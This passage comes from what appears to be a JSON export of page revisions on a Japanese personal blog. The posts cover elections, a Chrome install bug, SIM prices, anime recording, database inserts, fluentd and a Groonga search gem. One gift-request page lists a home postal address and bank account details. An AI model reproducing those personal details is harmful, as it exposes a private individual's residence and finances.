}\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2013-01-15T06:57:37.000Z","updated_at":"2013-01-15T06:57:37.000Z"},{"id":2257,"name":"text/都会に住むということ","body":"%blog%\r\n\r\n- http://d.hatena.ne.jp/mizchi/20130115/1358216244\r\n- http://ymrl.hatenablog.com/entry/2013/01/16/140913\r\n\r\nこの辺についてですが。\r\n\r\n# 都会に住んでてもミュウもらいにいけなかったわ","created_at":"2013-01-16T08:43:23.000Z","updated_at":"2013-01-16T08:43:23.000Z"},{"id":2258,"name":"text/得票率と議席数","body":"%blog% 得票率と議席数が一致してないのはおかしい\r\n\r\nという主張を最近インターネットでよく見るようになりました。民主党の大勝 -\u003e 自民党の大勝 の流れで実のところ民主党も自民党も得票率が大して変わってなかったことに気付いて「これはおかしい」と思った人とか単に自民党が気に入らない人とかいろいろいるようです。\r\n\r\nところでベルギーの話をします。ベルギーは元老院と代議院の二院制の国会を持つ国です。元老院は条約問題と王室の問題についてのみ代議院と同等の権限を持ち、事実上殆どの議題について代議院の議決が優越します。民政に限って考えれば一院制と言って過言ではない議会制度を持ちます。\r\n\r\nそしてその代議院は比例代表制のみで選挙が行なわれます。つまりベルギーにおいて民政については最新の「国民の声」が反映されるということになります。\r\n\r\nそのベルギーですが、 2010 年の選挙後の政治空白については記憶に新しいことと思います。得票率が議席数と直結する政治制度であること、二つの言語圏が存在し政治的な対立がそもそも成り立ちやすい構造であることなどが原因となって連立交渉は困難を極め、結局ベルギーでは 1 年半に渡って正式な首相が存在しないという事態に陥りました。\r\n\r\nそして今最終的にベルギーの首相を務める人物は総選挙で第二党の党首だった人物です。これはこれで「民意を反映している」とは言い難い状態なのではないかと思います。\r\n\r\nベルギーの状況を先の日本の衆院選の結果に当て嵌めると、連立交渉に 1 年半かけて 2014 年 5 月に新しい内閣が出来たはいいが総理大臣は石原慎太郎という話になります。正直に言って「得票率と議席数を一致させるべき!!!」と主張している人達が石原慎太郎総理大臣を望んでいるとはとても思えないというのが僕の印象です。\r\n\r\nまあベルギーの話はかなり極端な事例でそれをそのまま日本に当て嵌めるというのはファンタジーでしかないです。ですがそもそも「統一された民意」とか「完全な選挙制度」とかいうのが存在しているというのもファンタジーでしかないわけで、それを騙し騙しなんとかやっていくしかないわけです。そういうふうに考えた時に現状の日本の選挙制度がそこまで悪いものだとは僕は思いません。一票の格差などはあれはあれで問題ですが、一票の格差の是正が憲法などで義務づけられた結果選挙区割りが極めて頻繁になってゲリマンダーの温床になってるなんていう国だっていくらでもあるわけです。\r\n\r\n選挙に限らず、あるいは政治に限らず、問題は大抵極めて複雑でそれを簡単に語り簡単な解決策を用いるのは大抵破滅を招きます。かといって「複雑で難しいから〜」などといって何もしないのも問題なので程度問題ということにはなりますが。","created_at":"2013-01-17T16:01:28.000Z","updated_at":"2013-01-17T16:01:28.000Z"},{"id":2259,"name":"text/CROSS 2013","body":"%blog% CROSS 2013 に行きませんでした\r\n\r\n行かなかったんですけど、僕はあの会場から徒歩二分のところに住んでいます。今部屋の窓から会場のあのビルが見えます。そして僕が自宅にいると携帯電話の 3G データ通信が微妙に繋がらなくなったりしてなんだと思って調べると CROSS のせいっぽいということがなんとなく分かって来ました。\r\n\r\nそして会場にいた知人などに話を聞くと、中ではほとんどデータ通信などできず結構劣悪な環境だということがわかりました。\r\n\r\n行かなかった勉強会にこんなこと言うのもアレなんですが、せっかく有料でやるならもうちょっと金とってその分でやっぱり回線整備すべきだったと思います。\r\n\r\n最近ではその手の勉強会では無線 LAN を使用する機器が極端に大量に集まるため無線 LAN の構築も結構骨が折れるなどとは聞きますがそれでセッションやったりしても面白そうだし。\r\n\r\nまさか家の近くの勉強会のせいで家で携帯不調になると思いませんでしたというお話です。","created_at":"2013-01-20T13:26:37.000Z","updated_at":"2013-01-20T13:26:37.000Z"},{"id":2260,"name":"text/Google Chrome 拡張がインストールできない","body":"%blog%\r\n\r\n今 Google Chrome で拡張をインストールすると **Download was not a CRX** というエラーメッセージが出るというのが発生してるみたいです。\r\n\r\n![エラー](http://gyazo.com/b44f1a112d78dc310a158271897124fc.png)\r\n\r\nこんな感じ。\r\n\r\nで[該当のバグ](http://code.google.com/p/chromium/issues/detail?id=166362)のステータスは現状こんな感じ\r\n\r\n\u003e30+ Users have reported this issue in 'GoogleFeedback' this week. (略) We could not reproduce the issue \u003e30 人以上から報告きてる。再現方法分からん。\r\n\r\nです。で、そのバグのところにもある通り、「Chrome に Google アカウントでログインすると治る」というのが一般的なようです。今知人の Chrome がこの状態になってましたがログインしたらなおってました。\r\n\r\nしかしながら「Google アカウントでログインしてない Chrome でかならずインストールできない」というわけでもないのでめんどくさそうな話です。\r\n\r\n日本語情報が全然無いので適当に書いときました。","created_at":"2013-01-20T15:20:58.000Z","updated_at":"2013-01-20T15:20:58.000Z"},{"id":2261,"name":"text/Google Chrome 拡張がインストールできない","body":"%blog%\r\n\r\n今 Google Chrome で拡張をインストールすると **Download was not a CRX** というエラーメッセージが出るというのが発生してるみたいです。\r\n\r\n![エラー](http://gyazo.com/b44f1a112d78dc310a158271897124fc.png)\r\n\r\nこんな感じ。\r\n\r\nで[該当のバグ](http://code.google.com/p/chromium/issues/detail?id=166362)のステータスは現状こんな感じ\r\n\r\n\u003e30+ Users have reported this issue in 'GoogleFeedback' this week. (略) We could not reproduce the issue \r\n\u003e30 人以上から報告きてる。再現方法分からん。\r\n\r\nです。で、そのバグのところにもある通り、「Chrome に Google アカウントでログインすると治る」というのが一般的なようです。今知人の Chrome がこの状態になってましたがログインしたらなおってました。\r\n\r\nしかしながら「Google アカウントでログインしてない Chrome でかならずインストールできない」というわけでもないのでめんどくさそうな話です。\r\n\r\n日本語情報が全然無いので適当に書いときました。","created_at":"2013-01-20T15:21:22.000Z","updated_at":"2013-01-20T15:21:22.000Z"},{"id":2262,"name":"text/日本の回線状況について","body":"%blog%\r\n\r\n日本の回線状況について海外と比較した時によく言われるのが\r\n\r\n- フリー WiFi スポットが少ない\r\n\r\nというものです。ですが僕の実感として日本も日本以外の国も正直 WiFi スポットの事情ってそんな変わらないと思います。有料 WiFi ばっかだし英語 UI ないしでつなぎ方ようわからんみたいになること多いです。\r\n\r\n僕がろくでもない国にばっか行ってるのかもしれないですが(ニューヨークがどうなってるかとか知らん)。\r\n\r\nで。日本と海外を比較した時に一番感じるものは、プリペイド SIM が異常に高いことです。\r\n\r\n1GB データ通信できる上に外国人でも適当に購入できるプリペイド SIM というのを適当に比較してみると、\r\n\r\n国とキャリア | 値段(適当に今日のレートで日本円換算) | 備考\r\n---- | ---- |\r\nイタリア(TIM) | 1200 円 |\r\nベトナム(Vinaphone) | 1100 円 | 24 時間 250MB 50 円みたいなプランもある\r\nフランス(Orange) | 2300 円 | \r\nイギリス(3) | 2100 円 |\r\nマレーシア(Tune Talk) | 1300 円 |\r\nメキシコ(Telcel) | 2000 円 |\r\n日本 | 5000 円ぐらい | \r\n\r\nまあこんな感じで、 1000 ~ 2000 円で 1GB 使える国が多いのですが、日本はかなり高いです。実際こんな値段だったら SIM 買わんわ糞っていう判断する人多いんじゃないかと思います。ちなみにロシアは日本と同じかちょっと安いかみたいな感じです。\r\n\r\nこの辺外国人に対してかなり障壁になっている部分あると思うので改善されればいいなーと思いました。","created_at":"2013-01-23T15:49:13.000Z","updated_at":"2013-01-23T15:49:13.000Z"},{"id":2263,"name":"text/日本の回線状況について","body":"%blog%\r\n\r\n日本の回線状況について海外と比較した時によく言われるのが\r\n\r\n- フリー WiFi スポットが少ない\r\n\r\nというものです。ですが僕の実感として日本も日本以外の国も正直 WiFi スポットの事情ってそんな変わらないと思います。有料 WiFi ばっかだし英語 UI ないしでつなぎ方ようわからんみたいになること多いです。\r\n\r\n僕がろくでもない国にばっか行ってるのかもしれないですが(ニューヨークがどうなってるかとか知らん)。\r\n\r\nで。日本と海外を比較した時に一番感じるものは、プリペイド SIM が異常に高いことです。\r\n\r\n1GB データ通信できる上に外国人でも適当に購入できるプリペイド SIM というのを適当に比較してみると、\r\n\r\n国とキャリア | 値段(適当に今日のレートで日本円換算) | 備考\r\n---- | ---- | ----\r\nイタリア(TIM) | 1200 円 |\r\nベトナム(Vinaphone) | 1100 円 | 24 時間 250MB 50 円みたいなプランもある\r\nフランス(Orange) | 2300 円 | \r\nイギリス(3) | 2100 円 |\r\nマレーシア(Tune Talk) | 1300 円 |\r\nメキシコ(Telcel) | 2000 円 |\r\n日本 | 5000 円ぐらい | \r\n\r\nまあこんな感じで、 1000 ~ 2000 円で 1GB 使える国が多いのですが、日本はかなり高いです。実際こんな値段だったら SIM 買わんわ糞っていう判断する人多いんじゃないかと思います。ちなみにロシアは日本と同じかちょっと安いかみたいな感じです。\r\n\r\nこの辺外国人に対してかなり障壁になっている部分あると思うので改善されればいいなーと思いました。","created_at":"2013-01-23T15:49:40.000Z","updated_at":"2013-01-23T15:49:40.000Z"},{"id":2264,"name":"text/MariaDB に移行した","body":"%blog%\r\n\r\napt-line 追加して mariadb-server インストールして mysql_upgrade --verbose 実行するだけ。お手軽。","created_at":"2013-01-28T03:29:41.000Z","updated_at":"2013-01-28T03:29:41.000Z"},{"id":2265,"name":"text/NHK に関するデマについて","body":"%blog%\r\n\r\n\u003e699 名前:名無しさん@恐縮です[sage] 投稿日:2012/01/20(金) 16:56:26.70 ID:mAgP+9WqP \r\n\u003e»1 \r\n\u003e>本腰を入れている \r\n\u003eちなみにこれ、NHKでは禁止されてる。 \r\n\u003e語源が、セックスで盛り上がってきたときのことなので。 \r\n\r\n- [ 【全板集合】2chにある無駄な知識を集めるスレ201](http://anago.2ch.net/test/read.cgi/gline/1326953284/)\r\n\r\n現在こういうクオートが Tumblr で非常に流行っていますがこれはデマです。\r\n\r\n具体例。\r\n\r\n### 2012/09/13(木) 23:50〜00:00 放送 NHK総合1 『時論公論「激化する水ビジネス競争 技術立国の命運かかる」片岡利文解説委員』 \r\nEPG での番組情報より\r\n\u003e水ビジネスは、21世紀の重点産業として、日本のみならず先進各国が本腰を入れて市場獲得に乗り出している。競争の現状と、技術立国の命運をかける日本の課題を考える。 \r\n\r\n### 2012/11/06(火) 18:00〜18:50 放送 NHKBS1 『BS世界のドキュメンタリー「バラク・オバマのホワイトハウス」(後編)』\r\n00:33:58 〜 00:34:12 のナレーションより\r\n\u003eリビアへの対応も武力行使に踏み切るべきか否かなかなか決断できませんでした。 \r\n\u003e決断したあとでさえ本腰を入れて関与する気があるのかはっきりしませんでした。\r\n\r\n手元に保存している番組情報や字幕データがまだ少ないのですぐに出せる具体例はこれだけなんですが、 NHK の番組でも「本腰を入れる」という表現は使用されています。\r\n\r\nちなみにセックスで盛り上がってきた時のことが語源だというのはデマではないです。","created_at":"2013-01-29T04:35:09.000Z","updated_at":"2013-01-29T04:35:09.000Z"},{"id":2266,"name":"text/NHK に関するデマについて","body":"%blog%\r\n\r\n\u003e 699 名前:名無しさん@恐縮です[sage] 投稿日:2012/01/20(金) 16:56:26.70 ID:mAgP+9WqP \r\n\u003e »1 \r\n\u003e >本腰を入れている \r\n\u003e ちなみにこれ、NHKでは禁止されてる。 \r\n\u003e 語源が、セックスで盛り上がってきたときのことなので。 \r\n\r\n- [ 【全板集合】2chにある無駄な知識を集めるスレ201](http://anago.2ch.net/test/read.cgi/gline/1326953284/)\r\n\r\n現在こういうクオートが Tumblr で非常に流行っていますがこれはデマです。\r\n\r\n具体例。\r\n\r\n#### 2012/09/13(木) 23:50〜00:00 放送 NHK総合1 『時論公論「激化する水ビジネス競争 技術立国の命運かかる」片岡利文解説委員』 \r\nEPG での番組情報より\r\n\u003e 水ビジネスは、21世紀の重点産業として、日本のみならず先進各国が本腰を入れて市場獲得に乗り出している。競争の現状と、技術立国の命運をかける日本の課題を考える。 \r\n\r\n#### 2012/11/06(火) 18:00〜18:50 放送 NHKBS1 『BS世界のドキュメンタリー「バラク・オバマのホワイトハウス」(後編)』\r\n00:33:58 〜 00:34:12 のナレーションより\r\n\u003e リビアへの対応も武力行使に踏み切るべきか否かなかなか決断できませんでした。 \r\n\u003e 決断したあとでさえ本腰を入れて関与する気があるのかはっきりしませんでした。\r\n\r\n手元に保存している番組情報や字幕データがまだ少ないのですぐに出せる具体例はこれだけなんですが、 NHK の番組でも「本腰を入れる」という表現は使用されています。\r\n\r\nちなみにセックスで盛り上がってきた時のことが語源だというのはデマではないです。","created_at":"2013-01-29T04:35:32.000Z","updated_at":"2013-01-29T04:35:32.000Z"},{"id":2267,"name":"text/NHK に関するデマについて","body":"%blog%\r\n\r\n\u003e 699 名前:名無しさん@恐縮です[sage] 投稿日:2012/01/20(金) 16:56:26.70 ID:mAgP+9WqP \r\n\u003e »1 \r\n\u003e >本腰を入れている \r\n\u003e ちなみにこれ、NHKでは禁止されてる。 \r\n\u003e 語源が、セックスで盛り上がってきたときのことなので。 \r\n\r\n- [ 【全板集合】2chにある無駄な知識を集めるスレ201](http://anago.2ch.net/test/read.cgi/gline/1326953284/)\r\n\r\n現在こういうクオートが Tumblr で非常に流行っていますがこれはデマです。\r\n\r\n具体例。\r\n\r\n#### 2012/09/13(木) 23:50〜00:00 放送 NHK総合1 『時論公論「激化する水ビジネス競争 技術立国の命運かかる」片岡利文解説委員』 \r\nEPG での番組情報より\r\n\r\n\u003e 水ビジネスは、21世紀の重点産業として、日本のみならず先進各国が本腰を入れて市場獲得に乗り出している。競争の現状と、技術立国の命運をかける日本の課題を考える。 \r\n\r\n#### 2012/11/06(火) 18:00〜18:50 放送 NHKBS1 『BS世界のドキュメンタリー「バラク・オバマのホワイトハウス」(後編)』\r\n00:33:58 〜 00:34:12 のナレーションより\r\n\r\n\u003e リビアへの対応も武力行使に踏み切るべきか否かなかなか決断できませんでした。 \r\n\u003e 決断したあとでさえ本腰を入れて関与する気があるのかはっきりしませんでした。\r\n\r\n手元に保存している番組情報や字幕データがまだ少ないのですぐに出せる具体例はこれだけなんですが、 NHK の番組でも「本腰を入れる」という表現は使用されています。\r\n\r\nちなみにセックスで盛り上がってきた時のことが語源だというのはデマではないです。","created_at":"2013-01-29T04:35:50.000Z","updated_at":"2013-01-29T04:35:50.000Z"},{"id":2268,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2013-02-09T17:55:53.000Z","updated_at":"2013-02-09T17:55:53.000Z"},{"id":2269,"name":"kure.ssig33.com","body":"title チョコレートくれ\r\n# チョコレートくれ\r\n\r\n## [Amazon ウィッシュリスト経由でくれ](http://www.amazon.co.jp/registry/wishlist/12YQ45WYG0NQK)\r\n\r\n## 直接送ってください\r\n160-0023 東京都新宿区西新宿6-25-16ライオンズマンション西新宿第七 608\r\n\r\n##金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク\r\n\r\n\u003cbutton id='youpy'\u003eCSSを適用する\u003c/button\u003e\r\n\u003cscript src='http://ssig33.com/js/youpy.js'\u003e\u003c/script\u003e\r\n\r\nsubdomain only","created_at":"2013-02-12T04:48:23.000Z","updated_at":"2013-02-12T04:48:23.000Z"},{"id":2270,"name":"録画の話","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n適当にメモがてら。そのうち text のほうに転記する。あるいは同人誌にするかも。\r\n\r\n### 前提\r\nアニメ + α をいつでも見られるようにしたい。\r\n\r\n日本で主流の VOD サービスはニコニコ動画と言っていいと思う。いくらかのアニメはニコニコ動画で見られるが全部ではない。 UI ははっきり言って糞だ。多デバイス対応も弱い。月額課金プランが一般的ではないので見たいアニメを見たいときに見られるというわけでもない。\r\n\r\n他にいろいろ VOD サービスあるけど、ラインナップと多デバイス対応が弱いのは一緒。 UI も大抵駄目。\r\n\r\nアニメの BD を全部買うのはさすがに論外。月収 1000 万ぐらいになったら全部買うと思う。\r\n\r\nテレビ放送は無料だから違法にアップロードされたコンテンツをダウンロードしまくるというのも一つの考えだけど実際問題クロールしまくってダウンロードするのめんどくさい、というか無理。\r\n\r\n上記の事情により自前でアニメ全部録画するというのは現実的な選択肢となる。この選択肢を採用した結果費用的にも許容範囲内であったし得られた結果には満足している。\r\n\r\n### 実現すべきもの\r\n- アニメを全部録画する\r\n- 恒久的に保存できるように圧縮する\r\n- 見たいものを即時に見られるインターフェイス\r\n\r\n### 必要なハードウェア\r\n- 録画マシン\r\n - Pentium G630T とかのマシンでよい。\r\n - HDD も 250GB とかでいいのではないか。\r\n - というか録画した TS が溢れるようでは話にならない。次々にエンコードしなければならない。\r\n - チューナ(地上波:4 BS/CS: 4 あるとだいたい困らない。 5/5 とか 6/6 とかあるとなおよい)\r\n- エンコードマシン\r\n - QSV が必須だけど QSV あればあとは速度そう変わらんので i3 の低消費電力版とかがよいのではないか\r\n - エンコードやら字幕の抽出やらやると Disk I/O がボトルネックになりがちなので 250GB 前後の SSD があるとよさそう。だけど現状 HDD でなんとかなってる。\r\n- 配信サーバー\r\n - 基本的には HTTPD と Web アプリケーション動けばいい。スペックそんなにいらないはず。\r\n - ストレージ沢山(後述)\r\n\r\nサーバー既に 1 台持ってる人なら初期投資 20 万円以内に抑えることも可能なのではないか。自分は最初の 2 ヶ月とかで 40 万ぐらいぶちこんでると思う。何買えばいいのか分かってなかった。\r\n\r\n### 録画\r\nありものを使えばよい。 Linux なら Chinachu 、 Windows なら EpgDataCap_Bon 。チューナーは内蔵させたいとか Linux とかなら PT3 、 Windows で USB 接続で使いたいなら PLEX のやつ。 2013 年初頭現在いずれも入手性は良好。ソフトウェアは改造 B-CAS 事件の影響で入手性が悪いが検索すれば必要なものは手に入る。\r\n\r\n前述の通りチューナーは 4/4 〜 6/6 でよい。 4/4 なら 3 万もしない。\r\n\r\n### エンコード\r\n画質と速度のトレードオフという話になる。 QuickSyncVideo は画質がある程度低くなるが再生時間の半分ぐらいの時間でエンコード出来る。画質低いとか言うけど**僕は**気にならない。\r\n\r\nエンコード前に Tssplitter でバラさないと大抵駄目。ある程度の失敗は許容する精神が必要だと思う。失敗については「どうせ BS で再放送あるでしょ」みたいな気持ちでいると許容できる。 MX が失敗する確率高いが MX のアニメは BS11 で再放送あるし。\r\n\r\n### 配信サーバー\r\nたぶんここが肝。アニメ全部とかその他いろいろ録画してると毎日数十の動画を録画することになる。毎日 50 本の動画があれば月間 1500 本。優れた検索 UI が無いと駄目。\r\n\r\n番組のメタデータは得られるものを全て Groonga にぶちこんでいく。いや Groonga じゃなくてもいいけど。 Groonga 、というか rroonga は非常に便利。\r\n\r\nブラウザから video 要素で再生できるようにしておくと多デバイス対応できる。実際問題 video 要素どの実装でも結構しんどいけど。まあ実用的には使える。\r\n\r\nストレージも重要な事項。 Drobo など独自形式の RAID はいずれ泣きを見る(拡張限界がくる)。どうせそんなにシビアな性能は追求されないし mdraid がよいと思う。\r\n\r\n### 結論\r\n録画 -\u003e エンコードはソフトウェアもノウハウも揃ってるけどそこから先はまだまだ。「大量に動画があっても優れた UI さえあれば目的のものを楽に見られる」という知見が世に知れ渡っていない。\r\n\r\n「地上波の放送を 1 週間分保存する」とかで日本人が満足しているのは全くもって論外。数万本の動画にいつでもアクセス出来る環境が人々の手元になければならない。その為に VOD サービス各社に期待を寄せているが正直各社の動向見てると現状から大きく進化することは望めない。故に当面は上記のような録画環境を人々が手元に持つべき。\r\n\r\n[back to the top[(/)","created_at":"2013-02-14T11:33:07.000Z","updated_at":"2013-02-14T11:33:07.000Z"},{"id":2271,"name":"録画の話","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n適当にメモがてら。そのうち text のほうに転記する。あるいは同人誌にするかも。\r\n\r\n### 前提\r\nアニメ + α をいつでも見られるようにしたい。\r\n\r\n日本で主流の VOD サービスはニコニコ動画と言っていいと思う。いくらかのアニメはニコニコ動画で見られるが全部ではない。 UI ははっきり言って糞だ。多デバイス対応も弱い。月額課金プランが一般的ではないので見たいアニメを見たいときに見られるというわけでもない。\r\n\r\n他にいろいろ VOD サービスあるけど、ラインナップと多デバイス対応が弱いのは一緒。 UI も大抵駄目。\r\n\r\nアニメの BD を全部買うのはさすがに論外。月収 1000 万ぐらいになったら全部買うと思う。\r\n\r\nテレビ放送は無料だから違法にアップロードされたコンテンツをダウンロードしまくるというのも一つの考えだけど実際問題クロールしまくってダウンロードするのめんどくさい、というか無理。\r\n\r\n上記の事情により自前でアニメ全部録画するというのは現実的な選択肢となる。この選択肢を採用した結果費用的にも許容範囲内であったし得られた結果には満足している。\r\n\r\n### 実現すべきもの\r\n- アニメを全部録画する\r\n- 恒久的に保存できるように圧縮する\r\n- 見たいものを即時に見られるインターフェイス\r\n\r\n### 必要なハードウェア\r\n- 録画マシン\r\n - Pentium G630T とかのマシンでよい。\r\n - HDD も 250GB とかでいいのではないか。\r\n - というか録画した TS が溢れるようでは話にならない。次々にエンコードしなければならない。\r\n - チューナ(地上波:4 BS/CS: 4 あるとだいたい困らない。 5/5 とか 6/6 とかあるとなおよい)\r\n- エンコードマシン\r\n - QSV が必須だけど QSV あればあとは速度そう変わらんので i3 の低消費電力版とかがよいのではないか\r\n - エンコードやら字幕の抽出やらやると Disk I/O がボトルネックになりがちなので 250GB 前後の SSD があるとよさそう。だけど現状 HDD でなんとかなってる。\r\n- 配信サーバー\r\n - 基本的には HTTPD と Web アプリケーション動けばいい。スペックそんなにいらないはず。\r\n - ストレージ沢山(後述)\r\n\r\nサーバー既に 1 台持ってる人なら初期投資 20 万円以内に抑えることも可能なのではないか。自分は最初の 2 ヶ月とかで 40 万ぐらいぶちこんでると思う。何買えばいいのか分かってなかった。\r\n\r\n### 録画\r\nありものを使えばよい。 Linux なら Chinachu 、 Windows なら EpgDataCap_Bon 。チューナーは内蔵させたいとか Linux とかなら PT3 、 Windows で USB 接続で使いたいなら PLEX のやつ。 2013 年初頭現在いずれも入手性は良好。ソフトウェアは改造 B-CAS 事件の影響で入手性が悪いが検索すれば必要なものは手に入る。\r\n\r\n前述の通りチューナーは 4/4 〜 6/6 でよい。 4/4 なら 3 万もしない。\r\n\r\n### エンコード\r\n画質と速度のトレードオフという話になる。 QuickSyncVideo は画質がある程度低くなるが再生時間の半分ぐらいの時間でエンコード出来る。画質低いとか言うけど**僕は**気にならない。\r\n\r\nエンコード前に Tssplitter でバラさないと大抵駄目。ある程度の失敗は許容する精神が必要だと思う。失敗については「どうせ BS で再放送あるでしょ」みたいな気持ちでいると許容できる。 MX が失敗する確率高いが MX のアニメは BS11 で再放送あるし。\r\n\r\n### 配信サーバー\r\nたぶんここが肝。アニメ全部とかその他いろいろ録画してると毎日数十の動画を録画することになる。毎日 50 本の動画があれば月間 1500 本。優れた検索 UI が無いと駄目。\r\n\r\n番組のメタデータは得られるものを全て Groonga にぶちこんでいく。いや Groonga じゃなくてもいいけど。 Groonga 、というか rroonga は非常に便利。\r\n\r\nブラウザから video 要素で再生できるようにしておくと多デバイス対応できる。実際問題 video 要素どの実装でも結構しんどいけど。まあ実用的には使える。\r\n\r\nストレージも重要な事項。 Drobo など独自形式の RAID はいずれ泣きを見る(拡張限界がくる)。どうせそんなにシビアな性能は追求されないし mdraid がよいと思う。\r\n\r\n### 結論\r\n録画 -\u003e エンコードはソフトウェアもノウハウも揃ってるけどそこから先はまだまだ。「大量に動画があっても優れた UI さえあれば目的のものを楽に見られる」という知見が世に知れ渡っていない。\r\n\r\n「地上波の放送を 1 週間分保存する」とかで日本人が満足しているのは全くもって論外。数万本の動画にいつでもアクセス出来る環境が人々の手元になければならない。その為に VOD サービス各社に期待を寄せているが正直各社の動向見てると現状から大きく進化することは望めない。故に当面は上記のような録画環境を人々が手元に持つべき。\r\n\r\n[back to the top](/)","created_at":"2013-02-14T11:33:35.000Z","updated_at":"2013-02-14T11:33:35.000Z"},{"id":2272,"name":"text/BULK INSERT について","body":"%blog%\r\n\r\n- 1 件のインサートを 100 万回繰り返す\r\n\r\nというのは時間はかかるけど単位時間あたりの処理量的には問題がなくアプリケーション側のエラー処理がきちっと書かれていればちゃんと終わる。\r\n\r\n- 100 万件の BULK INSERT をする\r\n\r\nというのはアプリケーションがちゃんとしててもクエリ吐こうとした時点で大抵落ちる。\r\n\r\n「ここで書かれてる BULK INSERT はまあ 200 件ぐらいしか入らないでしょう」とか思ってても\r\n\r\n- アプリケーションが想定と違う使われ方をした\r\n- 他のところの設計が変わった\r\n\r\nとかで数万数十万件の BULK INSERT が走る可能性は十分にあります。\r\n\r\nなので無難にアプリケーション側で 200 件ごととかにスライスしてから BULK INSERT するような実装にしといたほうがいいです。","created_at":"2013-02-15T08:37:38.000Z","updated_at":"2013-02-15T08:37:38.000Z"},{"id":2273,"name":"text/Tiarra のログを fluentd で流す","body":"%blog%\r\n\r\nTiarra のログを一つのファイルに吐くようにして、 fluentd で管理すると非常に便利です。\r\n\r\nfluentd の format と time_format は\r\n\r\n``` conf\r\n format /^(?\u003cat\u003e[^ ]+\\ [^ ]+)\\ (\u003c(?\u003croom\u003e[^ ]*):(?\u003cuser\u003e[^ ]*)\u003e|\\((?\u003croom\u003e[^ ]*):(?\u003cuser\u003e[^ ]*)\\)|\u003e(?\u003croom\u003e[^ ]*):(?\u003cuser\u003e[^ ]*)\u003c|-(?\u003cuser\u003e[^ ]*)-|\u003e(?\u003cuser\u003e[^ ]*)@[^ ]*\u003c)\\ (?\u003ctext\u003e.*)$/\r\n time_format %Y/%m/%d %H:%M:%S\r\n```\r\n\r\n上記のようにして、 tiarra の設定は以下の通りにする。\r\n\r\n``` perl\r\n+ Log::Channel {\r\n directory: log\r\n charset: utf8\r\n header: %Y/%m/%d %H:%M:%S \r\n filename: log.txt \r\n mode: 600 \r\n dir-mode: 700 \r\n command: privmsg,topic,notice \r\n distinguish-myself: 1\r\n sync: sync\r\n channel: log *\r\n}\r\n```\r\n\r\nfluentd で構造化すればあとは煮るなり焼くなり。\r\n\r\nこれは実のところ結構大きなプロジェクトとしてやってるものの一部です。\r\n","created_at":"2013-02-19T15:42:46.000Z","updated_at":"2013-02-19T15:42:46.000Z"},{"id":2274,"name":"text/Groonga で気軽に検索する為の Gem を作りました","body":"%blog%\r\n\r\n[Sewell](https://github.com/ssig33/sewell)\r\n\r\nGroonga で気軽に検索する為の rubygem です。\r\n\r\nRuby を使ってアプリケーションを開発する際、 Groonga は最も手軽な全文検索ソリューションです。 Ruby の Hash に何かを入れるかのような感覚でデータを永続化し、それをそのまま全文検索することが出来ます。\r\n\r\nですがこれでもまだボトルネックと言える部分があって、 Groonga で全文検索する時は以下のような感じのコードを書かないといけません。\r\n\r\n```ruby\r\nGroonga['bookmarks'].select{|x| x.word =~ \"buta\"} #ブロックで検索条件組むやつ\r\nGroonga['bookmarks'].select('word:@buta') # Groonga のクエリ形式\r\n```\r\n\r\nユーザーが入力したデータからこれらを組み立てるのは実際結構めんどくさい作業です。\r\n\r\nそこでそれをやるのが Sewell Gem です。ユーザーがよく入力するような自然なクエリから Groonga の形式のクエリを生成することが出来ます。クエリ形式なので rroonga に投げてもいいですし HTTP の先にいる Groonga にクエリを投げてもよいので幅広く使うことができます。\r\n\r\n使い方は以下の通り。\r\n\r\n#### 文字列からクエリを生成する場合\r\n``` ruby\r\nSewell.generate('ラーメン二郎 AND ニンニク -カラメ', ['ramen']) \r\n#=\u003e ( ramen@:ラーメン二郎 ) + ( ramen@ニンニク ) - ( ramen@:カラメ )\r\nSewell.generate('ニンニク' ['ramen', 'debu']) #=\u003e ( ramen@ニンニク OR debu@ニンニク )\r\n```\r\n\r\n第一引数にクエリを入れて第二引数に検索対象にしたいカラム名を配列で入れるといい感じでクエリを吐いてくれます。\r\n\r\n#### ハッシュからクエリを生成する場合\r\nSewell.generate({rame: '二郎 OR 用心棒', gyowza: '佐藤伸一'}, 'AND') \r\n#=\u003e ( ramen@二郎 OR ramen@用心棒 ) + ( gyowza@佐藤伸一 )\r\nSewell.generate({rame: '二郎 OR 用心棒', gyowza: '佐藤伸一'}, 'OR') \r\n#=\u003e ( ramen@二郎 OR ramen@用心棒 ) OR ( gyowza@佐藤伸一 )\r\n\r\n第一引数に key: 検索対象のカラム名 value: クエリ なハッシュを、第二引数に複数のカラムを AND 条件で繋ぐか OR 条件で繋ぐかを入れるといい感じでクエリを吐きます。\r\n\r\nハッシュのやつは複数のフォームから条件をとってきて検索するみたいな用途で使うことを想定しています。\r\n\r\nどうぞご利用ください。","created_at":"2013-02-22T07:13:08.000Z","updated_at":"2013-02-22T07:13:08.000Z"},{"id":2275,"name":"text/Groonga で気軽に検索する為の Gem を作りました","body":"%blog%\r\n\r\n[Sewell](https://github.com/ssig33/sewell)\r\n\r\nGroonga で気軽に検索する為の rubygem です。\r\n\r\nRuby を使ってアプリケーションを開発する際、 Groonga 